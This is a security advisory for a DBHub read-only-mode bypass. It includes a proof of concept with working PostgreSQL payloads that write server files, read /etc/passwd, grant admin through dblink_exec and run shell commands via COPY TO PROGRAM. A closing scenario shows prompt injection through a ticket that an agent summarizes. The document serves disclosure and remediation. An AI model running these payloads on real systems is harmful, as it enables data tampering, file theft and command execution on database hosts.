CVE-2026-61788: DBHub: readonly mode bypass enables writes and RCE

### Summary Setting `readonly = true` on the `execute_sql` tool does not make the connection read-only. The connectors are written to set PostgreSQL `default_transaction_read_only=on` (and open SQLite in `readOnly` mode), but that code is gated on a config value that is never populated, so it never runs. The only thing left enforcing read-only is a classifier that inspects the first keyword of each statement. Any `SELECT` that writes or has side effects through a function call passes it. With an ordinary role this allows sequence tampering; with a privileged role it allows writing arbitrary files on the server (`lo_export`), reading arbitrary host files (`pg_read_file`), and remote code execution (`dblink` + `COPY ... TO PROGRAM`). The HTTP transport is unauthenticated and binds to `0.0.0.0` by default, so this is reachable by any network caller of `/mcp`. ### Details Two problems combine. **1. The database-level read-only control is dead code.** `PostgresConnector.connect()` only enables it when `config.readonly` is truthy (`src/connectors/postgres/index.ts:175-177`): ```ts // SDK-level readonly enforcement: Set default_transaction_read_only for the entire connection if (config?.readonly) { poolConfig.options = (poolConfig.options || '') + ' -c default_transaction_read_only=on'; } ``` SQLite is gated the same way (`src/connectors/sqlite/index.ts:192`). `ConnectorConfig.readonly` is assigned in exactly one place, and only from `source.readonly` (`src/connectors/manager.ts:236-238`): ```ts // Pass readonly flag for SDK-level enforcement (PostgreSQL, SQLite) if (source.readonly !== undefined) { config.readonly = source.readonly; } ``` `source.readonly` can never have a value: - `SourceConfig` has no `readonly` field (`src/types/config.ts:49-62`). `readonly` exists only on the per-tool `ExecuteSqlToolConfig` / `CustomToolConfig`. - The TOML loader rejects `readonly` at source level (`src/config/toml-loader.ts:476-481`: "readonly must be configured per-tool, not per-source"). - The `--readonly` CLI flag was removed and now hard-exits (`src/config/env.ts:30`). So the `if (source.readonly !== undefined)` check is always false, `config.readonly` stays unset, and DB-level read-only is never applied in any configuration the loader accepts. The per-tool `readonly` only ever reaches the classifier; `executeSQL()` ignores `options.readonly` and runs multi-statement batches in a plain `BEGIN` rather than `BEGIN READ ONLY` (`src/connectors/postgres/index.ts:598-666`). (The docs already describe the classifier as "a safety net... not a security boundary." This report is about the DB-level control above, which the code clearly means to apply — see the "SDK-level readonly enforcement" comments — but silently fails to wire up.) **2. The classifier only checks the leading keyword.** `areAllStatementsReadOnly()` (`src/tools/execute-sql.ts:24-27`) splits on `;` and runs `isReadOnlySQL()` (`src/utils/allowed-keywords.ts`) on each statement. `isReadOnlySQL` matches the first word against an allow-list, scans for mutating keywords only inside `WITH`, blocks `SELECT ... INTO`, and special-cases `EXPLAIN ANALYZE`. It never looks at the functions a statement calls. These all classify as read-only: - `SELECT setval('seq', n)` / `nextval('seq')` — sequence write. Needs UPDATE (setval) or USAGE/UPDATE (nextval) on the sequence, which read roles normally hold. - `SELECT lo_export(lo, '/path')` — writes a file on the server. Needs superuser or `pg_write_server_files`. - `SELECT pg_read_file('/etc/passwd')` — reads any file the server user can read. Needs superuser or `pg_read_server_files`. - `SELECT dblink_exec('dbname=...', 'UPDATE ...')` — opens a fresh connection (not read-only) and runs writes/DDL. Needs the `dblink` extension. - `SELECT dblink_exec('dbname=...', $$COPY (SELECT 1) TO PROGRAM 'id'$$)` — command execution. Needs superuser or `pg_execute_server_program`, plus `dblink`. The read-only test suite covers none of these. ### PoC Point DBHub at a PostgreSQL source with read-only set on the tool: ```toml [[sources]] id = "default" dsn = "postgres://app:app@localhost:5432/app" [[tools]] name = "execute_sql" source = "default" readonly = true ``` Start it and call `execute_sql`: ``` npx @bytebase/dbhub@latest --transport http --port 8080 ``` With any role, a write that should be blocked goes through — the sequence value changes and the call returns success: ```sql SELECT setval('users_id_seq', 1); ``` With a privileged role, the rest are also accepted and executed: ```sql SELECT lo_export(lo_from_bytea(0, decode('48656c6c6f0a','hex')), '/tmp/dbhub_poc'); -- writes /tmp/dbhub_poc SELECT pg_read_file('/etc/passwd'); -- reads a host file SELECT dblink_exec('dbname=app', 'UPDATE users SET admin=true'); -- write via a new connection SELECT dblink_exec('dbname=app', $$COPY (SELECT 1) TO PROGRAM 'id > /tmp/pwned'$$); -- runs a shell command ``` The decision can be reproduced without a database by running the project's own `isReadOnlySQL` + `splitSQLStatements` (with `areAllStatementsReadOnly` copied from `src/tools/execute-sql.ts`) over the strings above: direct INSERT/UPDATE/DROP, data-modifying CTEs, `SELECT ... INTO`, and `EXPLAIN ANALYZE INSERT` are all rejected, while every function-based statement above returns read-only = true. ### Impact Affects all released versions up to and including 0.22.2, on both stdio and HTTP transports, for PostgreSQL and SQLite. `readonly = true` does not stop writes. Anyone who can reach the `execute_sql` input can modify data under read-only mode — a network caller of the unauthenticated `/mcp` endpoint, a malicious MCP client, or untrusted content reaching an agent wired to DBHub through prompt injection. When the configured database role is privileged (common, since DBHub is often pointed at an existing admin DSN), the same access yields arbitrary file write on the server, arbitrary host-file read, and remote code execution on the database host. --- ### Maintainer note (consolidation) Tracking this as the canonical advisory for "read-only mode does not prevent database writes." The following reports describe the same root cause (read-only enforced only by the keyword classifier; the connection-level backstop was never wired) and are closed as duplicates: - **GHSA-7rgf-cwgq-c2qc** — same unwired driver-level backstop, plus the SQLite write-effecting `PRAGMA` gap. - **GHSA-m689-287g-5xpc** — SQLite assignment-form `PRAGMA` write bypass (a subset of the above). Preserving the SQLite-specific remediation from those reports: in `isReadOnlySQL`, the assignment form `PRAGMA x = ...` must be classified as a write (only the query/introspection form is read-only), and SQLite read-only executions are additionally guarded at the engine via `PRAGMA query_only=ON`. GHSA-j656-3hf2-fvjc (MySQL/MariaDB `--` comment parsing + `multipleStatements`) is a distinct root cause and is tracked separately. Fix: https://github.com/bytebase/dbhub/pull/342 — adds engine-level read-only enforcement per tool (Postgres `BEGIN READ ONLY`, SQLite `query_only`, MySQL/MariaDB `START TRANSACTION READ ONLY`) plus the classifier hardening above.

An organization runs DBHub over HTTP on a shared network segment with a read-only tool and an admin-level Postgres DSN. An attacker who reaches /mcp, or who plants a prompt injection in a ticket or document that an connected agent summarizes, submits `SELECT dblink_exec('dbname=app', $$COPY (SELECT 1) TO PROGRAM 'id > /tmp/pwned'$$)`. The keyword classifier sees a SELECT and allows it, the statement runs on a fresh non-read-only connection, and the attacker gains command execution on the database host. From there they read secrets with pg_read_file, modify data via dblink_exec, and pivot into the wider environment.